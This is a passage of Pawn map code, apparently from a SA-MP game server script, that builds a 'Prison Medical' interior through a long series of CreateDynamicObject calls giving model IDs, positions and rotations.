CreateDynamicObject(973, 1373.51599, -1155.24353, 23.51361,   0.00000, 0.00000, 87.47998);// Mohafez jade
// End of Box Mapping


// Prison Medical
new pole1, pole2, pole3, pole4, pole5, pole6, pole7;
    CreateDynamicObject(19449,-207.3999939,-1739.6999512,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(17038,-205.8994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-204.3994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-202.8999939,-1747.6999512,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-201.3994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(19460,-207.3990021,-1739.6999512,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-202.6000061,-1734.8000488,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-206.1999969,-1734.8010254,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1569,-206.0000000,-1734.9000244,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1569,-203.0000000,-1734.9000244,674.7999878,0.0000000,0.0000000,180.0000000);
	CreateDynamicObject(19387,-196.6992188,-1744.5000000,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19357,-201.3994141,-1736.5000000,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.4003906,-1736.5000000,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2885,-211.7998047,-1734.7998047,678.4000244,270.0000000,180.0000000,180.0000000);
	CreateDynamicObject(17038,-199.8994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-198.3999939,-1747.6999512,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-196.8994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(19449,-196.6000061,-1738.0159912,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-196.6719971,-1738.0169678,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19449,-195.3994141,-1742.8994141,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(17038,-195.3994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(19460,-195.4010010,-1742.9000244,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-201.1000061,-1739.6999512,674.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-201.1005859,-1739.6992188,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19357,-199.8837891,-1744.5000000,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-191.1503906,-1744.4990234,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-191.1503906,-1744.5009766,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-199.0749969,-1744.4990234,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-199.0749969,-1744.5009766,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-199.8849945,-1744.4980469,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-201.0989990,-1739.5999756,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19357,-201.3994141,-1746.0996094,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19387,-201.3994141,-1749.2998047,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19357,-201.3999939,-1752.5000000,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19387,-201.3999939,-1755.6999512,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19357,-201.3999939,-1758.9000244,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(17038,-205.8994141,-1768.3994141,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-204.3999939,-1768.4000244,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-202.8999939,-1768.4000244,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-201.3999939,-1768.4000244,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-199.8994141,-1768.3994141,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-198.3994141,-1768.3994141,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-196.8999939,-1768.4000244,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-195.3994141,-1768.3994141,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(19368,-201.4019928,-1746.0999756,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.4010010,-1746.9250488,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19387,-201.3994141,-1762.0996094,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-206.1999969,-1763.6999512,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-201.4010010,-1751.6369629,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.4019928,-1753.3249512,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.4010010,-1758.0369873,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.4019928,-1759.7249756,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.4010010,-1764.4370117,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-206.3000031,-1763.6989746,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19387,-207.3994141,-1746.0996094,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19387,-207.3994141,-1758.8994141,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19357,-207.3999939,-1762.0999756,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-195.3994141,-1752.5000000,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-195.3994141,-1762.0996094,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-196.5996094,-1758.7998047,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-206.0000000,-1733.2998047,672.5999756,270.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-203.0000000,-1733.3000488,672.5999756,270.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19441,-203.7140045,-1733.3010254,677.3980244,0.0000000,270.0000000,90.0000000);
	CreateDynamicObject(19441,-205.2870026,-1733.3010254,677.3970244,0.0000000,270.0000000,90.0000000);
	CreateDynamicObject(2885,-200.8994141,-1734.7998047,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2885,-200.8994141,-1741.5000000,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2885,-211.7998047,-1741.5000000,678.4000244,270.0000000,179.9945068,179.9945068);
	CreateDynamicObject(2885,-211.7998047,-1748.1992188,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2885,-200.8999939,-1748.1999512,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2885,-200.8994141,-1754.8994141,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2885,-200.8994141,-1761.5996094,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2885,-211.7998047,-1761.5996094,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(17038,-207.3994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-208.8994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-210.3999939,-1747.6999512,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-211.8999939,-1747.6999512,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-213.3994141,-1747.6992188,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-213.3994141,-1768.3994141,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-211.8999939,-1768.4000244,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-210.3994141,-1768.3994141,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-208.8994141,-1768.3994141,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(17038,-207.3999939,-1768.4000244,668.2999878,0.0000000,270.0000000,0.0000000);
	CreateDynamicObject(19449,-214.6000061,-1758.9000244,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-214.5996094,-1749.2998047,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-214.6000061,-1739.6999512,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-212.1992188,-1734.7998047,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-199.8000031,-1744.5010986,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-201.3979950,-1746.0999756,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.3990021,-1746.9250488,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.3990021,-1751.6369629,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.3970032,-1753.3242188,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.3990021,-1758.0369873,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-201.3979950,-1759.7249756,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-195.4010010,-1752.5000000,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-195.4003906,-1762.0996094,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-196.6494141,-1758.7988281,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-196.6494141,-1758.8007812,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-207.3979950,-1740.5140381,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-207.3990021,-1761.2370605,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-207.3979950,-1764.4000244,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-214.5989990,-1758.8000488,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-214.5980072,-1749.1999512,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-214.5989990,-1739.5999756,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-215.8000031,-1734.8011475,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-207.4010010,-1739.6999512,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-207.4013672,-1740.5136719,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-207.4011993,-1761.2370605,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19368,-207.4010010,-1764.3994141,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3034,-204.3994141,-1763.5996094,676.7000122,0.0000000,0.0000000,179.9945068);
	CreateDynamicObject(1523,-201.3699951,-1756.4499512,674.7399902,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1523,-201.3691406,-1750.0498047,674.7399902,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1523,-201.3699951,-1762.8499756,674.7399902,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2686,-201.5130005,-1744.9000244,676.4000244,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(2685,-201.5130005,-1745.4000244,676.4000244,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(2688,-207.2998047,-1747.5996094,676.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(16101,-201.5000000,-1748.5000000,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.5000000,-1750.0000000,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.5000000,-1754.9000244,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.5000000,-1756.4000244,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.5000000,-1761.3000488,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.5000000,-1762.8000488,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.3291016,-1748.5000000,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.3300018,-1750.0000000,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.3300018,-1754.9000244,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.3300018,-1756.4000244,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.3300018,-1761.3000488,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-201.3300018,-1762.8000488,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14487,-211.8000031,-1751.5000000,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14487,-211.7998047,-1729.5996094,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14487,-218.5996094,-1729.5996094,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14487,-218.6000061,-1754.3000488,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14487,-190.8994141,-1753.5996094,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14487,-190.8999939,-1735.1999512,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14487,-190.8994141,-1731.6992188,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1523,-207.3691406,-1746.8496094,674.7399902,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1523,-207.3699951,-1759.6500244,674.7399902,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(16101,-207.3291016,-1745.2998047,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-207.3300018,-1746.8199463,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-207.3300018,-1758.0999756,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-207.3300018,-1759.6199951,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-207.5000000,-1759.5999756,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-207.5000000,-1758.0999756,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-207.5000000,-1746.8000488,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-207.5000000,-1745.2998047,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1999,-200.5000000,-1740.3994141,674.7999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2009,-199.5000000,-1743.7998047,674.7999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1671,-199.5000000,-1739.3000488,675.2000122,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(1671,-199.2998047,-1743.0000000,675.2000122,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(19387,-213.0000000,-1742.6992188,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19357,-209.7998047,-1742.6992188,673.9010010,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19357,-209.0000000,-1742.7001953,673.9000244,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19449,-212.1999969,-1742.6989746,679.0000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19466,-208.5000000,-1742.6999512,676.4000244,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19466,-210.7402344,-1742.6992188,676.4000244,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-209.0000000,-1742.6989746,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-210.6640015,-1742.6979980,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-215.3739929,-1742.6989746,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-215.3750000,-1742.7001953,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-209.0000000,-1742.7011719,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-210.6640015,-1742.7021484,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1523,-213.7890625,-1742.7294922,674.7399902,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-212.2998047,-1742.7998047,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-213.8000031,-1742.8000488,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-213.8000031,-1742.5999756,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-212.3000031,-1742.5999756,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-207.5000000,-1742.6992188,666.9000244,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3657,-213.8999939,-1745.6999512,675.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(3394,-213.7998047,-1739.0000000,674.7999878,0.0000000,0.0000000,179.9945068);
	CreateDynamicObject(3396,-208.1992188,-1737.0000000,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3397,-208.1992188,-1740.8994141,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14487,-218.6000061,-1731.8000488,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2007,-213.6992188,-1735.3994141,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2007,-212.6992188,-1735.3994141,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2132,-211.0996094,-1735.3994141,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14532,-211.3994141,-1737.0996094,675.7800293,0.0000000,0.0000000,194.7491455);
	CreateDynamicObject(2146,-211.0996094,-1738.7998047,675.2700195,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3657,-206.8999939,-1754.5999756,675.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2811,-201.8994141,-1735.3994141,674.7999878,0.0000000,0.0000000,139.9932861);
	CreateDynamicObject(2811,-201.8999939,-1763.1999512,674.7999878,0.0000000,0.0000000,219.9957275);
	CreateDynamicObject(2811,-206.8999939,-1763.1999512,674.7999878,0.0000000,0.0000000,149.9957275);
	CreateDynamicObject(3657,-206.8999939,-1739.5999756,675.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2811,-206.8994141,-1735.3994141,674.7999878,0.0000000,0.0000000,221.9897461);
	CreateDynamicObject(2688,-201.5000000,-1760.5000000,676.4000244,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(19460,-201.5000000,-1739.6999512,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-207.3000031,-1739.6999512,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-207.3000031,-1749.3000488,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-207.3000031,-1758.9000244,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-201.5000000,-1749.3000488,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-201.5000000,-1758.9000244,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-204.8000031,-1734.9000244,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-206.3999939,-1763.5999756,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-214.5000000,-1758.9000244,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-214.5000000,-1749.3000488,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-214.5000000,-1739.6999512,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-207.5000000,-1758.9000244,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-207.5000000,-1749.3000488,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-207.5000000,-1739.6999512,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-214.3999939,-1734.9000244,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-212.1999969,-1742.8000488,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-212.1999969,-1742.5999756,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-196.6000061,-1744.4000244,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-196.6000061,-1738.0999756,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-196.6000061,-1744.5999756,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-196.6000061,-1758.6999512,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-196.6000061,-1758.9000244,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-195.5000000,-1758.9000244,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-195.5000000,-1749.3000488,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-195.5000000,-1739.6999512,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19357,-209.0000000,-1748.8010254,673.9010010,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19449,-207.3999939,-1752.5000000,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-207.4010010,-1751.5999756,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-207.3990021,-1751.5999756,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-207.4019928,-1753.3000488,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-207.3979950,-1753.3000488,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3657,-206.8999939,-1750.4000244,675.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19387,-213.0000000,-1748.8000488,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19449,-212.1999969,-1748.8010254,679.0000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19357,-209.8000031,-1748.8000488,673.9000244,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19466,-208.6000061,-1748.8000488,676.4000244,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19466,-210.8404999,-1748.8000488,676.4000244,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19449,-212.1999969,-1756.1999512,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1523,-213.7890015,-1748.8299561,674.7399902,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-212.1999969,-1748.6999512,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-212.1999969,-1748.9000244,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-212.1999969,-1756.0999756,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(19460,-212.3000031,-1756.1989746,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-209.0000000,-1748.7990000,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-210.6629944,-1748.7980000,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-210.6621094,-1748.8027344,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-209.0000000,-1748.8017578,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-215.3750000,-1748.7989502,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19368,-215.3750000,-1748.8007812,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(3397,-208.1999969,-1750.8000488,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3396,-208.1999969,-1754.4000244,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-212.1999969,-1756.3000488,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(2132,-209.8999939,-1755.5999756,674.7999878,0.0000000,0.0000000,180.0000000);
	CreateDynamicObject(2007,-212.3000031,-1755.5999756,674.7999878,0.0000000,0.0000000,180.0000000);
	CreateDynamicObject(2007,-213.3000031,-1755.5999756,674.7999878,0.0000000,0.0000000,179.9945068);
	CreateDynamicObject(3394,-213.8000031,-1752.1999512,674.7999878,0.0000000,0.0000000,179.9945068);
	CreateDynamicObject(2146,-211.1000061,-1751.9000244,675.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(14532,-210.6999969,-1753.5000000,675.7999878,0.0000000,0.0000000,14.0000000);
	CreateDynamicObject(19460,-212.2998047,-1756.2001953,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(3657,-201.8994141,-1746.5000000,675.2999878,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(2811,-214.0000000,-1743.4000244,674.7999878,0.0000000,0.0000000,251.9897461);
	CreateDynamicObject(2811,-214.0000000,-1748.0999756,674.7999878,0.0000000,0.0000000,295.9879761);
	CreateDynamicObject(16101,-207.5000000,-1748.8000488,666.9000244,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3394,-213.8000031,-1761.5000000,674.7999878,0.0000000,0.0000000,179.9945068);
	CreateDynamicObject(2007,-214.0000000,-1758.5999756,674.7999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2007,-214.0000000,-1757.5999756,674.7999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2132,-210.1000061,-1763.0999756,674.7999878,0.0000000,0.0000000,179.9945068);
	CreateDynamicObject(3396,-208.1999969,-1761.6999512,674.7999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3397,-210.8000031,-1756.6999512,674.7999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2146,-211.1999969,-1759.9000244,675.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(11237,-230.0000000,-1760.4000244,698.9000244,0.0000000,180.0000000,180.0000000);
	CreateDynamicObject(3053,-211.1999969,-1760.4000244,678.4000244,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-211.1999969,-1760.4000244,688.0999756,0.0000000,180.0000000,0.0000000);
	CreateDynamicObject(2596,-214.3000031,-1760.0999756,676.7000122,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2885,-211.8000031,-1754.9000244,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2596,-214.3000031,-1760.8000488,676.7000122,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2596,-214.3000031,-1760.8000488,677.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(2596,-214.3000031,-1760.0999756,677.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(16101,-222.6000061,-1760.4000244,677.9000244,0.0000000,90.0000000,0.0000000);
	CreateDynamicObject(16101,-214.5000000,-1760.4000244,666.19387220,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3808,-207.2500000,-1757.8000488,676.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(3808,-212.0000000,-1742.8499756,676.2999878,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(3808,-212.0000000,-1748.6600342,676.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-201.3000031,-1749.5000000,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-201.3000031,-1759.0999756,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(2009,-199.5000000,-1747.8000488,674.7999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1999,-200.5000000,-1746.0999756,674.8010254,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1671,-199.3999939,-1746.9000244,675.2000122,0.0000000,0.0000000,264.0000000);
	CreateDynamicObject(1671,-199.3999939,-1745.0999756,675.2000122,0.0000000,0.0000000,278.0000000);
	CreateDynamicObject(2009,-196.8000031,-1753.8000488,674.8010254,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1999,-197.8000031,-1752.0999756,674.7999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1999,-198.6999969,-1752.8000488,674.7999878,0.0000000,0.0000000,270.0000000);
